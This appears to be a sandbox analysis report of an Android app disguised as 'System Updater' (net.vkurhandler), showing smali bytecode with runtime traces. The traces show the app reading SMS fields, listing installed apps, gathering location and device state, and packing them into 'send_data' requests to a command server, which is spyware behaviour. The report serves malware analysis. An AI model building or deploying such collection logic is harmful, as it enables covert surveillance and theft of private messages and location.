                        • [{"app_name":"YouTube","pkg_name":"com.google.android.youtube"},{"app_name":"RSS Reader","pkg_name":"com.example.android.rssreader"},{"app_name":"Google App","pkg_name":"com.google.android.googlequicksearchbox"},{"app_name":"Calibration","pkg_name":"org.zeroxlab.util.tscal"},{"app_name":"Files","pkg_name":"com.android.documentsui"},{"app_name":"Contacts","pkg_name":"com.android.contacts"},{"app_name":"Gmail","pkg_name":"com.google.android.gm"},{"app_name":"Calendar","pkg_name":"com.android.calendar"},{"app_name":"NotePad","pkg_name":"com.example.android.notepad"},{"app_name":"Chrome","pkg_name":"com.android.chrome"},{"app_name":"Phone","pkg_name":"com.android.dialer"},{"app_name":"Gallery","pkg_name":"com.android.gallery3d"},{"app_name":"System Updater","pkg_name":"net.vkurhandler"},{"app_name":"Terminal Emulator","pkg_name":"jackpal.androidterm"},{"app_name":"Settings","pkg_name":"com.android.settings"},{"app_name":"Taskbar","pkg_name":"com.farmerbb.taskbar.androidx86"},{"app_name":"Music","pkg_name":"com.cy
                    12move-result-object v0
                    14invoke-static {v0}, Lnet/vkurhandler/gn;->h(Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1276281
                      • p0: [{"app_name":"YouTube","pkg_name":"com.google.android.youtube"},{"app_name":"RSS Reader","pkg_name":"com.example.android.rssreader"},{"app_name":"Google App","pkg_name":"com.google.android.googlequicksearchbox"},{"app_name":"Calibration","pkg_name":"org.zeroxlab.util.tscal"},{"app_name":"Files","pkg_name":"com.android.documentsui"},{"app_name":"Contacts","pkg_name":"com.android.contacts"},{"app_name":"Gmail","pkg_name":"com.google.android.gm"},{"app_name":"Calendar","pkg_name":"com.android.calendar"},{"app_name":"NotePad","pkg_name":"com.example.android.notepad"},{"app_name":"Chrome","pkg_name":"com.android.chrome"},{"app_name":"Phone","pkg_name":"com.android.dialer"},{"app_name":"Gallery","pkg_name":"com.android.gallery3d"},{"app_name":"System Updater","pkg_name":"net.vkurhandler"},{"app_name":"Terminal Emulator","pkg_name":"jackpal.androidterm"},{"app_name":"Settings","pkg_name":"com.android.settings"},{"app_name":"Taskbar","pkg_name":"com.farmerbb.taskbar.androidx86"},{"app_name":"Music","pkg_name":"com.cy
                      • Return:
                        • eJyFU8lOwzAQ/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd/M/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++/gDb6cBp
                    15move-result-object v0
                    16return-object v0
                    17cond_18:
                    18invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    19move-result-object v0
                    20check-cast v0, Lnet/vkurhandler/l;
                    21new-instance v3, Lorg/json/JSONObject;
                    23invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
                    • Time: 1274801
                      • Return:
                        • {}
                    25const-string v4, "app_name"
                    27iget-object v5, v0, Lnet/vkurhandler/l;->a:Ljava/lang/String;
                    29invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    31const-string v4, "pkg_name"
                    33iget-object v0, v0, Lnet/vkurhandler/l;->b:Ljava/lang/String;
                    35invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    37invoke-virtual {v1, v3}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    38goto/16 :goto_9
                    Cross References
                    APIs
                    • java.lang.Class.getDeclaredFields
                    • java.lang.reflect.Field.getName
                    • java.lang.String.equals
                    • java.lang.reflect.Field.setAccessible
                    • java.lang.reflect.Field.get
                    • org.apache.http.HttpEntity.consumeContent
                    • android.util.Log.e
                    Strings
                    • wrappedEntity
                    • AsyncHttpClient
                    • wrappedEntity consume
                    Position Instruction Meta Information
                    0instance-of v0, p0, Lorg/apache/http/entity/HttpEntityWrapper;
                    1if-eqz v0, :cond_2f
                    2const/4 v1, 0x0
                    3try_start_5: const-class v0, Lorg/apache/http/entity/HttpEntityWrapper;
                    5invoke-virtual {v0}, Ljava/lang/Class;->getDeclaredFields()[Ljava/lang/reflect/Field;
                    6move-result-object v3
                    7array-length v4, v3
                    8const/4 v0, 0x0
                    9move v2, v0
                    10goto_e: if-ge v2, v4, :cond_3d
                    11aget-object v0, v3, v2
                    13invoke-virtual {v0}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                    14move-result-object v5
                    16const-string v6, "wrappedEntity"
                    18invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    19move-result v5
                    20if-eqz v5, :cond_30
                    21goto_1e: if-eqz v0, :cond_2f
                    22const/4 v1, 0x1
                    24invoke-virtual {v0, v1}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                    26invoke-virtual {v0, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                    • Time: 1275074
                      • This:
                        • protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
                        • getName:wrappedEntity
                      • p0: org.apache.http.conn.BasicManagedEntity@4321691
                      • Return:
                        • org.apache.http.entity.BasicHttpEntity@159f9f6
                    • Time: 1275252
                      • This:
                        • protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
                        • getName:wrappedEntity
                      • p0: org.apache.http.conn.BasicManagedEntity@a4f0d32
                      • Return:
                        • org.apache.http.entity.BasicHttpEntity@5a0a83
                    • Time: 1277415
                      • This:
                        • protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
                        • getName:wrappedEntity
                      • p0: org.apache.http.conn.BasicManagedEntity@270aa5a
                      • Return:
                        • org.apache.http.entity.BasicHttpEntity@97c248b
                    • Time: 1278642
                      • This:
                        • protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
                        • getName:wrappedEntity
                      • p0: org.apache.http.conn.BasicManagedEntity@b256d3f
                      • Return:
                        • org.apache.http.entity.BasicHttpEntity@3f2e60c
                    • Time: 1410944
                      • This:
                        • protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
                        • getName:wrappedEntity
                      • p0: org.apache.http.conn.BasicManagedEntity@9caa563
                      • Return:
                        • org.apache.http.entity.BasicHttpEntity@73ec560
                    • Time: 1411120
                      • This:
                        • protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
                        • getName:wrappedEntity
                      • p0: org.apache.http.conn.BasicManagedEntity@3aa76f2
                      • Return:
                        • org.apache.http.entity.BasicHttpEntity@fe9143
                    • Time: 1412316
                      • This:
                        • protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
                        • getName:wrappedEntity
                      • p0: org.apache.http.conn.BasicManagedEntity@3ccca08
                      • Return:
                        • org.apache.http.entity.BasicHttpEntity@df0a5a1
                    27move-result-object v0
                    28check-cast v0, Lorg/apache/http/HttpEntity;
                    29if-eqz v0, :cond_2f
                    31invoke-interface {v0}, Lorg/apache/http/HttpEntity;->consumeContent()V
                    32cond_2f: return-void
                    33cond_30: add-int/lit8 v0, v2, 0x1
                    34move v2, v0
                    35goto/16 :goto_e
                    36catch_34: move-exception v0
                    38const-string v1, "AsyncHttpClient"
                    40const-string v2, "wrappedEntity consume"
                    42invoke-static {v1, v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                    43goto/16 :goto_2f
                    44cond_3d: move-object v0, v1
                    45goto/16 :goto_1e
                    APIs
                    • android.net.Uri.parse
                    Strings
                    • content://sms
                    • SmsContentObserver
                    • date
                    • address
                    • body
                    • type
                    • _id
                    Position Instruction Meta Information
                    1const-string v0, "content://sms"
                    3invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                    • Time: 1271910
                      • uriString: content://sms
                      • Return:
                        • content://sms
                    4move-result-object v0
                    5sput-object v0, Lnet/vkurhandler/fz;->a:Landroid/net/Uri;
                    7const-string v0, "SmsContentObserver"
                    8sput-object v0, Lnet/vkurhandler/fz;->c:Ljava/lang/String;
                    9const/4 v0, 0x5
                    10new-array v0, v0, [Ljava/lang/String;
                    11const/4 v1, 0x0
                    13const-string v2, "date"
                    14aput-object v2, v0, v1
                    15const/4 v1, 0x1
                    17const-string v2, "address"
                    18aput-object v2, v0, v1
                    19const/4 v1, 0x2
                    21const-string v2, "body"
                    22aput-object v2, v0, v1
                    23const/4 v1, 0x3
                    25const-string v2, "type"
                    26aput-object v2, v0, v1
                    27const/4 v1, 0x4
                    29const-string v2, "_id"
                    30aput-object v2, v0, v1
                    31sput-object v0, Lnet/vkurhandler/fz;->d:[Ljava/lang/String;
                    32return-void
                    Cross References
                    APIs
                    • java.lang.Class.forName
                    • java.lang.Class.getMethod
                    • java.lang.reflect.Method.invoke
                    Strings
                    • android.os.SystemProperties
                    • get
                    • Utils
                    Position Instruction Meta Information
                    0const/4 v1, 0x0
                    1try_start_1:
                    2const-string v0, "android.os.SystemProperties"
                    4invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                    5move-result-object v0
                    7const-string v2, "get"
                    8const/4 v3, 0x1
                    9new-array v3, v3, [Ljava/lang/Class;
                    10const/4 v4, 0x0
                    11const-class v5, Ljava/lang/String;
                    12aput-object v5, v3, v4
                    14invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                    • Time: 1428436
                      • This:
                        • class android.os.SystemProperties
                        • getName:android.os.SystemProperties
                      • p0: get
                      • p1: [Ljava.lang.Class;@82fce4
                      • p1.Arrays.toString: [class java.lang.String]
                      • Return:
                        • public static java.lang.String android.os.SystemProperties.get(java.lang.String)
                        • getName: get
                    15move-result-object v0
                    16const/4 v2, 0x0
                    17const/4 v3, 0x1
                    18new-array v3, v3, [Ljava/lang/Object;
                    19const/4 v4, 0x0
                    20aput-object p0, v3, v4
                    22invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                    23move-result-object v0
                    24check-cast v0, Ljava/lang/String;
                    25goto_22: return-object v0
                    26catch_23: move-exception v0
                    28invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    29move-result v2
                    30if-eqz v2, :cond_2f
                    32const-string v2, "Utils"
                    34invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    35cond_2f: move-object v0, v1
                    36goto/16 :goto_22
                    Cross References
                    APIs
                    • android.content.Context.getSystemService
                    • android.net.ConnectivityManager.getActiveNetworkInfo
                    • android.net.NetworkInfo.isConnected
                    Strings
                    • connectivity
                    Position Instruction Meta Information
                    1const-string v0, "connectivity"
                    3invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    • Time: 1273874
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: connectivity
                      • Return:
                        • android.net.ConnectivityManager@b991945
                    4move-result-object v0
                    5check-cast v0, Landroid/net/ConnectivityManager;
                    7invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                    • Time: 1273913
                      • This:
                        • android.net.ConnectivityManager@b991945
                      • Return:
                        • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: c2:b1:a1:c8:51:6d, failover: false, available: true, roaming: false, metered: false]
                    8move-result-object v0
                    9if-eqz v0, :cond_16
                    11invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z
                    • Time: 1273942
                      • This:
                        • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: c2:b1:a1:c8:51:6d, failover: false, available: true, roaming: false, metered: false]
                      • Return:
                        • true
                    12move-result v0
                    13if-eqz v0, :cond_16
                    14const/4 v0, 0x1
                    15goto_15: return v0
                    16cond_16: const/4 v0, 0x0
                    17goto/16 :goto_15
                    Cross References
                    APIs
                    • android.content.Context.getSystemService
                    • android.net.ConnectivityManager.getNetworkInfo
                    • android.net.NetworkInfo.isConnected
                    Strings
                    • connectivity
                    Position Instruction Meta Information
                    1const-string v0, "connectivity"
                    3invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    • Time: 1277633
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: connectivity
                      • Return:
                        • android.net.ConnectivityManager@b991945
                    4move-result-object v0
                    5check-cast v0, Landroid/net/ConnectivityManager;
                    7invoke-virtual {v0, p1}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                    • Time: 1277662
                      • This:
                        • android.net.ConnectivityManager@b991945
                      • networkType: 1
                      • Return:
                        • [type: WIFI[???], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), failover: false, available: false, roaming: false, metered: false]
                    8move-result-object v0
                    10invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z
                    • Time: 1277678
                      • This:
                        • [type: WIFI[???], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), failover: false, available: false, roaming: false, metered: false]
                      • Return:
                        • true
                    11move-result v0
                    12return v0
                    Cross References
                    APIs
                    • android.text.TextUtils.isEmpty
                    Strings
                    • android.os.SystemProperties
                    • ro.miui.ui.version.name
                    Position Instruction Meta Information
                    1const-string v0, "ro.miui.ui.version.name"
                    3invoke-static {v0}, Lnet/vkurhandler/gn;->c(Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1428432
                      • p0: android.os.SystemProperties
                      • Return:
                        • class android.os.SystemProperties
                        • getName: android.os.SystemProperties
                    • Reflective invoke: android.os.SystemProperties.get
                      • p0: ro.miui.ui.version.name
                      • Return:
                        • ""
                    • Time: 1428439
                      • This:
                        • public static java.lang.String android.os.SystemProperties.get(java.lang.String)
                        • getName:get
                      • p0: null
                      • p1: [Ljava.lang.Object;@5fef802
                      • p1.Arrays.toString: [ro.miui.ui.version.name]
                      • Return:
                        • ""
                    4move-result-object v0
                    6invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    7move-result v0
                    8if-eqz v0, :cond_e
                    9const/4 v0, 0x0
                    10goto_d: return v0
                    11cond_e: const/4 v0, 0x1
                    12goto/16 :goto_d
                    Cross References
                    APIs
                    • android.content.SharedPreferences.getString
                    • java.lang.String.equals
                    Strings
                    • 3454
                    • call_password
                    Position Instruction Meta Information
                    1const-string v0, "call_password"
                    3const-string v1, "3454"
                    5invoke-interface {p1, v0, v1}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1428464
                      • This:
                        • android.app.SharedPreferencesImpl@b9c5343
                      • p0: call_password
                      • p1: 3454
                      • Return:
                        • 3454
                    6move-result-object v0
                    8invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    9move-result v0
                    10return v0
                    Cross References
                    APIs
                    • java.lang.StringBuilder.<init>
                    • java.util.concurrent.ConcurrentHashMap.entrySet
                    • java.util.Set.iterator
                    • java.util.Iterator.hasNext
                    • java.util.Iterator.next
                    • java.lang.StringBuilder.length
                    • java.lang.StringBuilder.append
                    • java.util.Map$Entry.getKey
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.util.Map$Entry.getValue
                    • java.lang.StringBuilder.append
                    • java.util.concurrent.ConcurrentHashMap.entrySet
                    • java.util.Set.iterator
                    • java.util.Iterator.hasNext
                    • java.util.Iterator.next
                    • java.lang.StringBuilder.length
                    • java.lang.StringBuilder.append
                    • java.util.Map$Entry.getKey
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.util.concurrent.ConcurrentHashMap.entrySet
                    • java.util.Set.iterator
                    • java.util.Iterator.hasNext
                    • java.util.Iterator.next
                    • java.lang.StringBuilder.length
                    • java.lang.StringBuilder.append
                    • java.util.Map$Entry.getKey
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.util.List.iterator
                    • java.util.Iterator.hasNext
                    • java.util.Iterator.next
                    • java.lang.StringBuilder.length
                    • java.lang.StringBuilder.append
                    • org.apache.http.message.BasicNameValuePair.getName
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • org.apache.http.message.BasicNameValuePair.getValue
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • &
                    • =
                    • STREAM
                    • FILE
                    • params
                    • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":"","device_id":"","location":{"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}}
                    • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp","device_id":""}
                    • {"module":"client","action":"get_lic"}
                    • {"module":"preference","action":"load","device_id":"","app_name":"System Updater","pkg_name":"net.vkurhandler","domain_id":0}
                    Position Instruction Meta Information
                    0new-instance v2, Ljava/lang/StringBuilder;
                    2invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                    4iget-object v0, p0, Lcom/a/a/a/v;->c:Ljava/util/concurrent/ConcurrentHashMap;
                    6invoke-virtual {v0}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
                    7move-result-object v0
                    9invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                    10move-result-object v3
                    11goto_f:
                    12invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                    13move-result v0
                    14if-eqz v0, :cond_3e
                    16invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    17move-result-object v0
                    18check-cast v0, Ljava/util/Map$Entry;
                    20invoke-virtual {v2}, Ljava/lang/StringBuilder;->length()I
                    21move-result v1
                    22if-lez v1, :cond_26
                    24const-string v1, "&"
                    26invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    27cond_26:
                    28invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                    29move-result-object v1
                    30check-cast v1, Ljava/lang/String;
                    32invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    34const-string v1, "="
                    36invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    38invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                    39move-result-object v0
                    40check-cast v0, Ljava/lang/String;
                    42invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    43goto/16 :goto_f
                    44cond_3e:
                    45iget-object v0, p0, Lcom/a/a/a/v;->d:Ljava/util/concurrent/ConcurrentHashMap;
                    47invoke-virtual {v0}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
                    48move-result-object v0
                    50invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                    51move-result-object v1
                    52goto_48:
                    53invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                    54move-result v0
                    55if-eqz v0, :cond_73
                    57invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    58move-result-object v0
                    59check-cast v0, Ljava/util/Map$Entry;
                    61invoke-virtual {v2}, Ljava/lang/StringBuilder;->length()I
                    62move-result v3
                    63if-lez v3, :cond_5f
                    65const-string v3, "&"
                    67invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    68cond_5f:
                    69invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                    70move-result-object v0
                    71check-cast v0, Ljava/lang/String;
                    73invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    75const-string v0, "="
                    77invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    79const-string v0, "STREAM"
                    81invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    82goto/16 :goto_48
                    83cond_73:
                    84iget-object v0, p0, Lcom/a/a/a/v;->e:Ljava/util/concurrent/ConcurrentHashMap;
                    86invoke-virtual {v0}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
                    87move-result-object v0
                    89invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                    90move-result-object v1
                    91goto_7d:
                    92invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                    93move-result v0
                    94if-eqz v0, :cond_a8
                    96invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    97move-result-object v0
                    98check-cast v0, Ljava/util/Map$Entry;
                    100invoke-virtual {v2}, Ljava/lang/StringBuilder;->length()I
                    101move-result v3
                    102if-lez v3, :cond_94
                    104const-string v3, "&"
                    106invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    107cond_94:
                    108invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                    109move-result-object v0
                    110check-cast v0, Ljava/lang/String;
                    112invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    114const-string v0, "="
                    116invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    118const-string v0, "FILE"
                    120invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    121goto/16 :goto_7d
                    122cond_a8: const/4 v0, 0x0
                    124iget-object v1, p0, Lcom/a/a/a/v;->f:Ljava/util/concurrent/ConcurrentHashMap;
                    126invoke-direct {p0, v0, v1}, Lcom/a/a/a/v;->b(Ljava/lang/String;Ljava/lang/Object;)Ljava/util/List;
                    127move-result-object v0
                    129invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                    130move-result-object v1
                    131goto_b3:
                    132invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                    133move-result v0
                    134if-eqz v0, :cond_de
                    136invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    137move-result-object v0
                    138check-cast v0, Lorg/apache/http/message/BasicNameValuePair;
                    140invoke-virtual {v2}, Ljava/lang/StringBuilder;->length()I
                    141move-result v3
                    142if-lez v3, :cond_ca
                    144const-string v3, "&"
                    146invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    147cond_ca:
                    148invoke-virtual {v0}, Lorg/apache/http/message/BasicNameValuePair;->getName()Ljava/lang/String;
                    • Time: 1274905
                      • This:
                        • params={"module":"preference","action":"load","device_id":"","app_name":"System Updater","pkg_name":"net.vkurhandler","domain_id":0}
                      • Return:
                        • params
                    149move-result-object v3
                    151invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    153const-string v3, "="
                    155invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    157invoke-virtual {v0}, Lorg/apache/http/message/BasicNameValuePair;->getValue()Ljava/lang/String;
                    • Time: 1274914
                      • This:
                        • params={"module":"preference","action":"load","device_id":"","app_name":"System Updater","pkg_name":"net.vkurhandler","domain_id":0}
                      • Return:
                        • {"module":"preference","action":"load","device_id":"","app_name":"System Updater","pkg_name":"net.vkurhandler","domain_id":0}
                    • Time: 1277250
                      • This:
                        • params={"module":"client","action":"get_lic"}
                      • Return:
                        • {"module":"client","action":"get_lic"}
                    • Time: 1278484
                      • This:
                        • params={"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp","device_id":""}
                      • Return:
                        • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp","device_id":""}
                    • Time: 1412218
                      • This:
                        • params={"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":"","device_id":"","location":{"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}}
                      • Return:
                        • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":"","device_id":"","location":{"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}}
                    158move-result-object v0
                    160invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    161goto/16 :goto_b3
                    162cond_de:
                    163invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    164move-result-object v0
                    165return-object v0
                    Cross References
                    APIs
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • android.text.TextUtils.isEmpty
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
